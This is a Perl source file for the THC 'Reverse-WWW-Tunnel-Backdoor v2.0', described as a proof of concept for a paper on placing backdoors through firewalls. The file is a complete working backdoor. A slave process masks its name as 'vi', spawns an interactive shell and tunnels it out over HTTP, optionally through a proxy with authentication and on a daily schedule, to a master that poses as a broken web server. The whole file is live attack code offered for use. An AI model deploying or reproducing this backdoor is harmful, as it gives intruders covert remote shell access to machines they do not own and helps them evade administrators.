#!/usr/bin/perl # # Reverse-WWW-Tunnel-Backdoor v2.0 # (c) 1998-2002 by van Hauser / [THC] - The Hacker's Choice <vh@reptile.rug.ac.be> # Check out http://www.thehackerschoice.com # Proof-of-Concept Program for the paper "Placing Backdoors through Firewalls" # available at the website above in the "Articles" section. # # Greets to all THC, TESO, ADM and #bluebox guys # verified to work on Linux, Solaris, AIX and OpenBSD # BUGS: some Solaris machines: select(3) is broken, won't work there # on some systems Perl's recv is broken :-( (AIX, OpenBSD) ... # we can't make proper receive checks here. Workaround implemented. # # HISTORY: # v2.0: HTTP 1.0 protocol compliance (finally ;-) # v1.6: included www-proxy authentication ;-)) # v1.4: porting to various unix types (and I thought perl'd be portable...) # v1.3: initial public release of the paper including this tool # # GENERAL CONFIG (except for $MASK, everything must be the same # for MASTER and SLAVE is this section!) # $MODE="POST"; # GET or POST $CGI_PREFIX="/cgi-bin/orderform";# should look like a valid cgi. $MASK="vi"; # for masking the program's process name $PASSWORD="THC"; # anything, nothing you have to rememeber # (not a real "password" anyway) # # MASTER CONFIG (specific for the MASTER) # $LISTEN_PORT=8080; # on which port to listen (80 [needs root] or 8080) $SERVER="127.0.0.1"; # the host to run on (ip/dns) (the SLAVE needs this!) # # SLAVE CONFIG (specific for the SLAVE) # $SHELL="/bin/sh -i"; # program to execute (e.g. /bin/sh) $DELAY="3"; # time to wait for output after your command(s) #$TIME="14:39"; # time when to connect to the master (unset if now) #$DAILY="yes"; # tries to connect once daily if set with something #$PROXY="127.0.0.1"; # set this with the Proxy if you must use one #$PROXY_PORT="3128"; # set this with the Proxy Port if you must use one #$PROXY_USER="user"; # username for proxy authentication #$PROXY_PASSWORD="pass";# password for proxy authentication #$DEBUG="yes"; # for debugging purpose, turn off when in production $BROKEN_RECV="yes"; # For AIX & OpenBSD, NOT for Linux & Solaris # END OF CONFIG # nothing for you to do after this point # ################## BEGIN MAIN CODE ################## require 5.002; use Socket; $|=1; # next line changes our process name if ($MASK) { for ($a=1;$a<80;$a++){$MASK=$MASK."\000";} $0=$MASK; } undef $DAILY if (! $TIME); if ( !($PROXY) || !($PROXY_PORT) ) { undef $PROXY; undef $PROXY_PORT; } $protocol = getprotobyname('tcp'); if ($ARGV[0] ne "slave" && $ARGV[0] ne "daemon" && $ARGV[0] ne "master" && $ARGV[1] eq "") { print STDOUT "Proof-of-Concept Program for the paper \"Placing Backdoors through Firewalls\"\navailable at http://www.thehackerschoice.com in the \"Articles\" section.\n"; print STDOUT "Commandline options for rwwwshell:\n\tmaster\t- master mode\n\tslave\t- slave mode\n"; exit(0); } if ($ARGV[0] eq "slave") { print STDOUT "starting in slave mode\n"; $SLAVE_MODE = "yeah"; } # check for a correct mode if ($MODE ne "GET" && $MODE ne "POST") { print STDOUT "Error: MODE must either be GET or POST, re-edit this perl config\n"; exit(-1); } if (! $SLAVE_MODE) { &master; } else { &slave; } # END OF MAIN FUNCTION ############### SLAVE FUNCTION ############### sub slave { $pid = 0; $PROXY_SUFFIX = "Host: " . $SERVER . "\r\nUser-Agent: Mozilla/4.0\r\nAccept: text/html, text/plain, image/jpeg, image/*;\r\nAccept-Language: en\r\n"; if ($PROXY) { # setting the real config (for Proxy Support) $REAL_SERVER = $PROXY; $REAL_PORT = $PROXY_PORT; $REAL_PREFIX = $MODE . " http://" . $SERVER . ":" . $LISTEN_PORT . $CGI_PREFIX; $PROXY_SUFFIX = $PROXY_SUFFIX . "Pragma: no-cache\r\n"; if ( $PROXY_USER && USER_PASSWORD ) { &base64encoding; $PROXY_SUFFIX = $PROXY_SUFFIX . $PROXY_COOKIE; } } else { $REAL_SERVER = $SERVER; $REAL_PORT = $LISTEN_PORT; $REAL_PREFIX = $MODE . " " . $CGI_PREFIX; } $REAL_PREFIX = $REAL_PREFIX . "?" if ($MODE eq "GET"); $REAL_PREFIX = $REAL_PREFIX . " HTTP/1.0\r\n" if ($MODE eq "POST"); AGAIN: if ($pid) { kill 9, $pid; } if ($TIME) { # wait until the specified $TIME $TIME =~ s/^0//; $TIME =~ s/:0/:/; (undef,$min,$hour,undef,undef,undef,undef,undef,undef) = localtime(time); $t=$hour . ":" . $min; while ($TIME ne $t) { sleep(28); # every 28 seconds we look at the watch (undef,$min,$hour,undef,undef,undef,undef,undef,undef) = localtime(time); $t=$hour . ":" .$min; } } print STDERR "Slave activated\n" if $DEBUG; if ($DAILY) { # if we must connect daily, we'll if (fork) { # fork the daily shell process to sleep(69); # ensure the master control process goto AGAIN; # won't get stuck by a fucking cmd } # the user executed. print STDERR "forked\n" if $DEBUG; } $address = inet_aton($REAL_SERVER) || die "can't resolve server\n"; $remote = sockaddr_in($REAL_PORT, $address); $forked = 0; GO: close(THC); socket(THC, &PF_INET, &SOCK_STREAM, $protocol) or die "can't create socket\n"; setsockopt(THC, SOL_SOCKET, SO_REUSEADDR, 1); if (! $forked) { # fork failed? fuck, let's try again pipe R_IN, W_IN; select W_IN; $|=1; pipe R_OUT, W_OUT; select W_OUT; $|=1; $pid = fork; if (! defined $pid) { close THC; close R_IN; close W_IN; close R_OUT; close W_OUT; goto GO; } $forked = 1; } if (! $pid) { # this is the child process (execs $SHELL) close R_OUT; close W_IN; close THC; print STDERR "forking $SHELL in child\n" if $DEBUG; open STDIN, "<&R_IN"; open STDOUT, ">&W_OUT"; open STDERR, ">&W_OUT"; exec $SHELL || print W_OUT "couldn't spawn $SHELL\n"; close R_IN; close W_OUT; exit(0); } else { # this is the parent (data control + network) close R_IN; sleep($DELAY); # we wait $DELAY for the commands to complete vec($rs, fileno(R_OUT), 1) = 1; print STDERR "before: allwritten2stdin\n" if $DEBUG; select($r = $rs, undef, undef, 30); print STDERR "after : wait for allwritten2stdin\n" if $DEBUG; sleep(1); # The following readin of the command output $output = ""; # looks weird. It must be! every system vec($ws, fileno(W_OUT), 1) = 1; # behaves different :-(( print STDERR "before: readwhiledatafromstdout\n" if $DEBUG; while (select($w = $ws, undef, undef, 1)) { read R_OUT, $readout, 1 || last; $output = $output . $readout; } print STDERR "after : readwhiledatafromstdout\n" if $DEBUG; print STDERR "before: fucksunprob\n" if $DEBUG; vec($ws, fileno(W_OUT), 1) = 1; while (! select(undef, $w=$ws, undef, 0.001)) { read R_OUT, $readout, 1 || last; $output = $output . $readout; } print STDERR "after : fucksunprob\n" if $DEBUG; print STDERR "send 0byte to stdout, fail->exit\n" if $DEBUG; print W_OUT "\000" || goto END_IT; print STDERR "before: readallstdoutdatawhile!eod\n" if $DEBUG; while (1) { read R_OUT, $readout, 1 || last; last if ($readout eq "\000"); $output = $output . $readout; } print STDERR "after : readallstdoutdatawhile!eod\n" if $DEBUG; &uuencode; # does the encoding of the shell output if ($MODE eq "GET") { $encoded = $REAL_PREFIX . $encoded . " HTTP/1.0\r\n"; $encoded = $encoded . $PROXY_SUFFIX; $encoded = $encoded . "\r\n"; } else { # $MODE is "POST" $encoded = $REAL_PREFIX . $PROXY_SUFFIX . "Content-Type: application/x-www-form-urlencoded\r\n\r\n" . $encoded . "\r\n"; } print STDERR "connecting to remote, fail->exit\n" if $DEBUG; connect(THC, $remote) || goto END_IT; # connect to master print STDERR "send encoded data, fail->exit\n" if $DEBUG; send (THC, $encoded, 0) || goto END_IT; # and send data $input = ""; vec($rt, fileno(THC), 1) = 1; # wait until master sends reply print STDERR "before: wait4answerfromremote\n" if $DEBUG; while (! select($r = $rt, undef, undef, 0.00001)) {} print STDERR "after : wait4answerfromremote\n" if $DEBUG; print STDERR "read data from socket until eod\n" if $DEBUG; $error="no"; # while (1) { # read until EOD (End Of Data) print STDERR "?" if $DEBUG; # OpenBSD 2.2 can't recv here! can't get any data! sucks ... recv (THC, $readin, 16386, 0) || undef $error; # if ((! $error) and (! $BROKEN_RECV)) { goto OK; } print STDERR "!" if $DEBUG; goto OK if (($readin eq "\000") or ($readin eq "\n") or ($readin eq "")); $input = $input . $readin; # } OK: print STDERR "\nall data read, entering OK\n" if $DEBUG; print STDERR "RECEIVE: $input\n" if $DEBUG; $input =~ s/.*\r\n\r\n//s; print STDERR "BEFORE DECODING: $input\n" if $DEBUG; &uudecode; # decoding the data from the master print STDERR "AFTER DECODING: $decoded\n" if $DEBUG; print STDERR "if password not found -> exit\n" if $DEBUG; goto END_IT if ($decoded =~ m/^$PASSWORD/s == 0); $decoded =~ s/^$PASSWORD//; print STDERR "writing input data to $SHELL\n" if $DEBUG; print W_IN "$decoded" || goto END_IT; # sending the data sleep(1); # to the shell proc. print STDERR "jumping to GO\n" if $DEBUG; goto GO; } END_IT: kill 9, $pid; $pid = 0; exit(0); } # END OF SLAVE FUNCTION ############### MASTER FUNCTION ############### sub master { socket(THC, &PF_INET, &SOCK_STREAM, $protocol) or die "can't create socket\n"; setsockopt(THC, SOL_SOCKET, SO_REUSEADDR, 1); bind(THC, sockaddr_in($LISTEN_PORT, INADDR_ANY)) || die "can't bind\n"; listen(THC, 3) || die "can't listen\n"; # print the HELP print STDOUT ' Welcome to the Reverse-WWW-Tunnel-Backdoor v2.0 by van Hauser / THC ... Introduction: Wait for your SLAVE to connect, examine it\'s output and then type in your commands to execute on SLAVE. You\'ll have to wait min. the set $DELAY seconds before you get the output and can execute the next stuff. Use ";" for multiple commands. Trying to execute interactive commands may give you headache so beware. Your SLAVE may hang until the daily connect try (if set - otherwise you lost). You also shouldn\'t try to view binary data too ;-) "echo bla >> file", "cat >> file <<- EOF", sed etc. are your friends if you don\'t like using vi in a delayed line mode ;-) To exit this program on any time without doing harm to either MASTER or SLAVE just press Control-C. Now have fun. '; YOP: print STDOUT "\nWaiting for connect ..."; $remote=accept (S, THC) || goto YOP; # get the connection ($r_port, $r_slave)=sockaddr_in($remote); # and print the SLAVE $slave=gethostbyaddr($r_slave, AF_INET); # data. $slave="unresolved" if ($slave eq ""); print STDOUT " connect from $slave/".inet_ntoa($r_slave).":$r_port\n"; select S; $|=1; select STDOUT; $|=1; $input = ""; vec($socks, fileno(S), 1) = 1; $error="no"; # while (1) { # read the data sent by the slave while (! select($r = $socks, undef, undef, 0.00001)) {} recv (S, $readin, 16386, 0) || undef $error; if ((! $error) and (! $BROKEN_RECV)) { print STDOUT "[disconnected]\n"; } # $readin =~ s/\r//g; # $input = $input . $readin; # last if ( $input =~ m/\r\n\r\n/s ); $input = $readin; print STDERR "MASTER RECEIVE: $input\n" if $DEBUG; # } &hide_as_broken_webserver if ( $input =~ m/$CGI_PREFIX/s == 0 ); if ( $input =~ m/^GET /s ) { $input =~ s/^.*($CGI_PREFIX)\??//s; $input =~ s/\r\n.*$//s; } else { if ( $input =~ m/^POST /s ) { $input =~ s/^.*\r\n\r\n//s; } else { if ( $input =~ m/^HEAD /s ) { &hide_as_broken_webserver; } else { close S; print STDOUT "Warning! Illegal server access!\n"; # report to user goto YOP; } } } print STDERR "BEFORE DECODING: $input\n" if $DEBUG; &uudecode; # decoding the data from the slave &hide_as_broken_webserver if ( $decoded =~ m/^$PASSWORD/s == 0 ); $decoded =~ s/^$PASSWORD//s; $decoded = "[Warning! No output from remote!]\n>" if ($decoded eq ""); print STDOUT "$decoded"; # showing the slave output to the user $output = <STDIN>; # and get his input. &uuencode; # encode the data for the slave $encoded = "HTTP/1.1 200 OK\r\nConnection: close\r\nContent-Type: text/plain\r\n\r\n" . $encoded . "\r\n"; send (S, $encoded, 0) || die "\nconnection lost!\n"; # and send it close (S); print STDOUT "sent.\n"; goto YOP; # wait for the next connect from the slave } # END OF MASTER FUNCTION ###################### MISC. FUNCTIONS ##################### sub uuencode { # does the encoding stuff for error-free data transfer via WWW $output = $PASSWORD . $output; # PW is for error checking and $uuencoded = pack "u", "$output"; # preventing sysadmins from $uuencoded =~ tr/'\n)=(:;&><,#$*%]!\@"`\\\-' # sending you weird /'zcadefghjklmnopqrstuv' # data. No real /; # security! $uuencoded =~ tr/"'"/'b'/; if ( ($PROXY) && ($SLAVE_MODE) ) {# proxy drops request if > 4kb $codelength = (length $uuencoded) + (length $REAL_PREFIX) +12; $cut_length = 4099 - (length $REAL_PREFIX); $uuencoded = pack "a$cut_length", $uuencoded if ($codelength > 4111); } $encoded = $uuencoded; } # END OF UUENCODE FUNCTION sub uudecode { # does the decoding of the data stream $input =~ tr/'zcadefghjklmnopqrstuv' /'\n)=(:;&><,#$*%]!\@"`\\\-' /; $input =~ tr/'b'/"'"/; $decoded = unpack "u", "$input"; } # END OF UUDECODE FUNCTION sub base64encoding { # does the base64 encoding for proxy passwords $encode_string = $PROXY_USER . ":" . $PROXY_PASSWORD; $encoded_string = substr(pack('u', $encode_string), 1); chomp($encoded_string); $encoded_string =~ tr|` -_|AA-Za-z0-9+/|; $padding = (3 - length($encode_string) % 3) % 3; $encoded_string =~ s/.{$padding}$/'=' x $padding/e if $padding; $PROXY_COOKIE = "Proxy-authorization: Basic " . $encoded_string . "\n"; } # END OF BASE64ENCODING FUNCTION sub hide_as_broken_webserver { # invalid request -> look like broken server send (S, "<HTML><HEAD>\r\n<TITLE>404 File Not Found</TITLE>\r\n</HEAD>". "<BODY>\r\n<H1>File Not Found</H1>\r\n</BODY></HTML>\r\n", 0); close S; print STDOUT "Warning! Illegal server access!\n"; # report to user goto YOP; } # END OF HIDE_AS_BROKEN_WEBSERVER FUNCTION # END OF PROGRAM # (c) 1998-2002 by <vh@reptile.rug.ac.be>